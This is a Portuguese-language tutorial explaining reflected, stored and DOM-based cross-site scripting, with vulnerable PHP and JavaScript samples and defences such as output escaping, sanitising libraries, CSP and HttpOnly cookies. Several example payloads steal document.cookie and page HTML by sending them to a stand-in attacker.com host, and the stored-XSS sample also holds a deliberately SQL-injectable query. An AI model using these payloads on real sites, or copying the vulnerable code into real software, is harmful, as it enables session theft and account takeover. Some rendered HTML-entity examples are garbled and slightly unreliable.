O que é XSS (Cross-Site Scripting)?
XSS é uma vulnerabilidade de segurança que permite a um atacante injetar código malicioso (geralmente JavaScript) em páginas web visualizadas por outras pessoas. Quando o navegador interpreta esse código injetado, ele executa com os mesmos privilégios do site legítimo, permitindo roubo de cookies, sessões, dados sensíveis ou até controle da conta do usuário.
A razão fundamental pela qual XSS existe é a confiança implícita do navegador no código JavaScript que renderiza. Se um site não valida e sanitiza adequadamente dados que vêm do usuário ou de fontes externas antes de exibi-los na página, um atacante pode explorar essa brecha. O navegador não consegue diferenciar entre JavaScript legítimo e malicioso — ambos são executados com o mesmo acesso.
Existem três variações principais de XSS, cada uma com características e contextos de exploração distintos. Vamos explorar profundamente cada uma delas, entender como funcionam na prática e aprender as melhores estratégias de defesa.
XSS Reflected: O Ataque Imediato e Sem Persistência
O que é XSS Reflected
XSS Reflected é o tipo mais simples e imediato. O código malicioso é enviado através da URL ou de parâmetros de requisição e refletido diretamente na resposta do servidor sem persistência. O atacante precisa enganar o usuário para clicar em um link especialmente crafted contendo o payload malicioso. Assim que o usuário sai da página ou acessa um novo link, o ataque termina — nada fica armazenado no servidor.
Você pode pensar em XSS Reflected como um espelho: o servidor simplesmente reflete (ecoa) o que você envia, sem questionar se é seguro. Se você enviar <script>alert('XSS')</script> em um parâmetro de busca e o servidor exibir esse parâmetro direto no HTML, o script será executado.
Exemplos Práticos de Exploração
Suponha um site com um formulário de busca em search.php:
<?php
$search = $_GET['q'];
echo "Você procurou por: " . $search;
?>
Um atacante pode criar a seguinte URL maliciosa:
https://example.com/search.php?q=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Quando uma vítima clica neste link, o servidor reflete o conteúdo do parâmetro q sem escapar, e o navegador executa o código onerror. O cookie da sessão é enviado para o servidor do atacante. O payload usa <img> porque é uma tag HTML válida que dispara onerror quando a imagem falha em carregar — uma técnica comum para contornar filtros ingênuos.
Outro exemplo ainda mais direto:
https://example.com/search.php?q=<script>window.location='https://attacker.com/phishing'</script>
Este payload redireciona o usuário para um site de phishing que imita o site legítimo.
Defesa contra XSS Reflected
A defesa principal é escapar ou codificar saída. Em PHP, use htmlspecialchars():
<?php
$search = $_GET['q'];
// Escapar caracteres especiais para HTML
echo "Você procurou por: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
?>
htmlspecialchars() converte caracteres especiais para entidades HTML:
- < vira <
- > vira >
- " vira "
- ' vira ' (com a flag ENT_QUOTES)
Assim, <script> é exibido como texto literal <script>, não como código executável.
Em JavaScript (Node.js/Express), use bibliotecas como xss ou DOMPurify:
const express = require('express');
const xss = require('xss');
const app = express();
app.get('/search', (req, res) => {
const search = req.query.q;
const cleanSearch = xss(search); // Remove tags perigosas
res.send(`Você procurou por: ${cleanSearch}`);
});
app.listen(3000);
A biblioteca xss remove ou escapa tags e atributos maliciosos, preservando o texto seguro.
Para defesa mais robusta em aplicações modernas, use Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'; style-src 'self' https://fonts.googleapis.com">
CSP informa ao navegador: "Execute JavaScript apenas de scripts inline aprovados e do domínio 'self'". Mesmo que um atacante injetar <script>malicioso</script>, o navegador recusa executar porque não está na whitelist.
XSS Stored: O Inimigo Silencioso e Persistente
O que é XSS Stored
XSS Stored é significativamente mais perigoso que Reflected porque o código malicioso é persistido no servidor, geralmente em um banco de dados. Toda vez que alguém acessa a página contaminada, o código é executado automaticamente, sem necessidade de um link crafted. Um único ataque pode afetar todos os usuários da aplicação que visualizem o conteúdo comprometido.
Exemplos comuns de superfícies de ataque para XSS Stored:
- Comentários em blogs ou redes sociais
- Descrições de perfil
- Títulos e descrições de produtos
- Mensagens privadas
- Qualquer campo que aceite entrada do usuário e seja exibido a outros usuários
Exemplos Práticos de Exploração
Imagine um blog simples onde usuários podem postar comentários:
<?php
// Salvar comentário no banco
if ($_POST['comment']) {
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");
}
// Exibir comentários
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>
Um atacante posta o seguinte comentário:
<script>
fetch('/api/admin/promote-user?user_id=12345');
</script>
Este script é armazenado no banco de dados. Quando qualquer usuário acessa a página de comentários, o servidor envia este script para o navegador, que o executa. No exemplo, tenta promover um usuário a admin automaticamente.
Um exemplo mais realista e sutil:
// Comentário injetado
<img src=x onerror="
fetch('https://attacker.com/log-cookie', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
html: document.documentElement.innerHTML
})
})
">
Este payload é pequeno o suficiente para passar por filtros básicos e envia o cookie mais o HTML completo da página para o servidor do atacante.
Defesa contra XSS Stored
O princípio é o mesmo: validar na entrada, escapar na saída. Mas agora você precisa ser ainda mais rigoroso porque o dado será reutilizado múltiplas vezes.
1. Validar na Entrada:
<?php
function validateComment($comment) {
// Não permitir tags HTML
if (preg_match('/<[a-z]/i', $comment)) {
return false;
}
// Limitar tamanho
if (strlen($comment) > 500) {
return false;
}
return true;
}
if ($_POST['comment'] && validateComment($_POST['comment'])) {
$comment = mysqli_real_escape_string($conn, $_POST['comment']);
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");
} else {
echo "Comentário inválido";
}
?>
2. Escapar na Saída (ainda mais importante):
<?php
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
// SEMPRE escapar dados do banco na saída
echo "<div class='comment'>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</div>";
}
?>
Mesmo que um dado perigoso chegasse ao banco (falha na validação), escapar na saída impede sua execução.
3. Use um allowlist para HTML legitimamente necessário:
Se você precisa permitir alguns tags HTML (como bold, italic), use uma biblioteca que remove apenas tags perigosas:
<?php
require 'vendor/autoload.php';
use Html2Text\Html2Text;
use HTMLPurifier;
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,a[href]');
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($_POST['comment']);
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('" . mysqli_real_escape_string($conn, $clean) . "')");
?>
4. Use prepared statements para evitar SQL Injection (bonus):
<?php
$stmt = $conn->prepare("INSERT INTO comments (content) VALUES (?)");
$stmt->bind_param("s", $_POST['comment']);
$stmt->execute();
?>
Prepared statements separam dados de comandos SQL, reduzindo riscos de injeção.
XSS DOM-Based: O Ataque que Acontece no Cliente
O que é XSS DOM-Based
XSS DOM-Based é um ataque que ocorre inteiramente no lado do cliente, no Document Object Model (DOM). O servidor é inocente — o próprio JavaScript legítimo da página processa dados inseguros e os insere no DOM sem sanitização. Não há reflexão do servidor, não há armazenamento — apenas JavaScript fazendo operações inseguras.
A diferença crucial: em Reflected e Stored, o servidor envia HTML contendo código malicioso. Em DOM-Based, o servidor envia HTML e JavaScript corretos, mas esse JavaScript lê um valor não-confiável (de window.location, document.referrer, localStorage, etc.) e o coloca no DOM sem escapar.
Exemplos Práticos de Exploração
Um exemplo clássico:
<!-- exemplo.html -->
<h1 id="greeting"></h1>
<script>
// O desenvolvedor tenta ser amigável e personalizar a página
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = `Olá, ${name}!`;
</script>
URL legítima: exemplo.html?name=João → Exibe "Olá, João!"
URL maliciosa: exemplo.html?name=<img src=x onerror="alert('XSS')">
Quando o JavaScript executa innerHTML = 'Olá, <img src=x onerror="alert(\'XSS\')">!', o navegador interpreta a string como HTML e executa o evento onerror.
Um exemplo ainda mais realista — uma busca que filtra em tempo real:
<input type="text" id="search" placeholder="Buscar produtos...">
<div id="results"></div>
<script>
document.getElementById('search').addEventListener('input', function(e) {
const query = e.target.value;
// Sem escapar, apenas inserindo diretamente
document.getElementById('results').innerHTML =
`Resultados para: <strong>${query}</strong>`;
});
</script>
Se o usuário digitar ou navegar para uma URL com #Resultados para: <img src=x onerror="document.location='https://attacker.com'">, o DOM é atualizado com este payload executável.
Defesa contra XSS DOM-Based
A defesa é usar métodos seguros do DOM e escapar dados manualmente:
1. Evite innerHTML, use textContent ou métodos seguros:
// ❌ INSEGURO
document.getElementById('greeting').innerHTML = `Olá, ${name}!`;
// ✅ SEGURO
document.getElementById('greeting').textContent = `Olá, ${name}!`;
textContent insere texto puro, não interpreta HTML. Tags HTML são exibidas literalmente.
2. Use createElement e appendChild para estrutura mais complexa:
const greeting = document.createElement('h1');
greeting.textContent = `Olá, ${name}!`;
document.body.appendChild(greeting);
// Se precisar de HTML, construa com segurança
const link = document.createElement('a');
link.href = userProvidedUrl; // navegador valida URLs
link.textContent = userProvidedText; // texto é escapado automaticamente
document.body.appendChild(link);
3. Se deve usar innerHTML, escape manualmente:
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Uso
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML =
`Olá, <strong>${escapeHtml(name)}</strong>!`;
4. Use bibliotecas modernas de templating:
Com bibliotecas como React, Vue ou Angular, escaping é feito automaticamente:
// React — escapa automaticamente
const name = new URLSearchParams(window.location.search).get('name');
return <h1>Olá, {name}!</h1>; // name é escapado automaticamente
// Vue
<h1>Olá, {{ name }}!</h1> <!-- escapado automaticamente -->
5. Valide e sanitize dados de fontes não-confiáveis:
import DOMPurify from 'dompurify';
const userInput = new URLSearchParams(window.location.search).get('html');
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;
DOMPurify remove scripts e eventos, mantendo HTML seguro.
Estratégia de Defesa em Profundidade
Defense in Depth: Múltiplas Camadas
Nenhuma técnica é 100% segura sozinha. A melhor abordagem é implementar múltiplas camadas de defesa:
1. Validação de Entrada (Whitelist):
Aceite apenas formatos esperados. Não confie em filtros (blacklist) — use regras positivas (whitelist):
// Ruim: Bloquear tags perigosas
if (!input.includes('<script>')) acceptInput();
// Bom: Aceitar apenas números e letras
if (/^[a-zA-Z0-9\s]+$/.test(input)) acceptInput();
2. Escape de Saída (Context-Aware):
O escape depende do contexto onde o dado será inserido:
// Dentro de HTML
escapeHtml: (text) => text.replace(/[&<>"']/g, char => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[char])),
// Dentro de JavaScript
escapeJs: (text) => text.replace(/[\\"\n\r]/g, char => ({
'\\': '\\\\',
'"': '\\"',
'\n': '\\n',
'\r': '\\r'
}[char])),
// Dentro de URL
escapeUrl: (text) => encodeURIComponent(text)
3. Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy"
content="
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
">
Mesmo com um XSS não-detectado, CSP restringe o que o script pode fazer.
4. HttpOnly e Secure Flags para Cookies:
setcookie('session', $token, [
'httponly' => true, // JavaScript não acessa document.cookie
'secure' => true, // Apenas HTTPS
'samesite' => 'Strict' // Não é enviado em requisições cross-site
]);
Mesmo se um atacante injeta JavaScript, não consegue roubar cookies importantes.
5. Monitoramento e Logging:
// Log tentativas de XSS para análise
window.addEventListener('error', (event) => {
if (event.message.includes('unsafe')) {
fetch('/log-csp-violation', {
method: 'POST',
body: JSON.stringify({
error: event.message,
timestamp: new Date(),
url: window.location.href
})
});
}
});
Conclusão
Os três tipos de XSS — Reflected, Stored e DOM-Based — são vulnerabilidades críticas que exploram a confiança excessiva no código que executa no navegador. A diferença principal está em onde o payload é armazenado (URL, banco de dados ou memória local) e quando é entregue, mas a essência é sempre a mesma: código malicioso executando com privilégios legítimos.
A defesa eficaz não depende de uma única técnica mágica, mas de múltiplas camadas de proteção coordenadas: validar com whitelist na entrada, escapar conscientemente na saída (considerando o contexto), usar bibliotecas testadas (como DOMPurify, HTMLPurifier), implementar CSP como rede de segurança, e proteger cookies com flags apropriadas. Em aplicações modernas, usar frameworks com auto-escaping (React, Vue, Angular) reduz drasticamente o risco.
O conhecimento profundo dessas três variantes permite identificar vulnerabilidades em código real, implementar patches corretos e comunicar riscos de segurança com clareza técnica — habilidades essenciais para qualquer desenvolvedor profissional.